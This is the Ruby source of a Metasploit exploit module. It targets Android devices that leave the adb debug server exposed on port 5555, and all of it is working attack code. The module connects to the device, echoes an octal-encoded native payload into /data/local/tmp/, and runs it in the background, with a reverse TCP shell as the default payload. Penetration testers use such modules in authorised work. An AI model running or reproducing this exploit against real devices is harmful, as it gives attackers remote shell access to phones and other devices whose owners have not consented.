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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = ExcellentRanking
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  include Msf::Exploit::Remote::Tcp
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  include Msf::Exploit::CmdStager
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        'Name' => 'Android ADB Debug Server Remote Payload Execution',
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        'Description' => %q{
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          Writes and spawns a native payload on an Android device that is listening
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          for adb debug messages.
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        },
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        'Author' => ['joev'],
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        'License' => MSF_LICENSE,
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        'DefaultOptions' => { 'PAYLOAD' => 'linux/armle/shell_reverse_tcp' },
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        'Platform' => 'linux',
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        'Targets' => [
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          ['armle', { 'Arch' => ARCH_ARMLE }],
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          ['x86', { 'Arch' => ARCH_X86 }],
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          ['x64', { 'Arch' => ARCH_X64 }],
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          ['mipsle', { 'Arch' => ARCH_MIPSLE }]
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        ],
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        'DefaultTarget' => 0,
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        'DisclosureDate' => '2016-01-01',
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        'Notes' => {
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          'SideEffects' => [ ARTIFACTS_ON_DISK ],
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          'Reliability' => [ REPEATABLE_SESSION ],
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          'Stability' => [ CRASH_SAFE ]
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        }
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      )
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    )
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    register_options([
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      Opt::RPORT(5555),
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      OptString.new('WritableDir', [true, 'Writable directory', '/data/local/tmp/'])
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    ])
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  end
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  def check
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    setup_adb_connection do
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      device_info = @adb_client.connect.data
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      print_good("Detected device:\n#{device_info}")
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      return CheckCode::Vulnerable
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    end
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    CheckCode::Unknown
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  end
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  def execute_command(cmd, _opts)
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    response = @adb_client.exec_cmd(cmd)
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    print_good("Command executed, response:\n #{response}")
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  end
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  def exploit
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    setup_adb_connection do
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      device_data = @adb_client.connect
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      print_good("Connected to device:\n#{device_data.data}")
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      execute_cmdstager({
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        flavor: :echo,
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        enc_format: :octal,
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        prefix: '\\\\0',
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        temp: datastore['WritableDir'],
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        linemax: Rex::Proto::ADB::Message::Connect::DEFAULT_MAXDATA - 8,
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        background: true,
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        nodelete: true
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      })
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    end
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  end
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  def setup_adb_connection(&blk)
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    print_status('Connecting to device...')
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    connect
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    @adb_client = Rex::Proto::ADB::Client.new(sock)
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    blk.call
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  ensure
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    disconnect
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  end
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end
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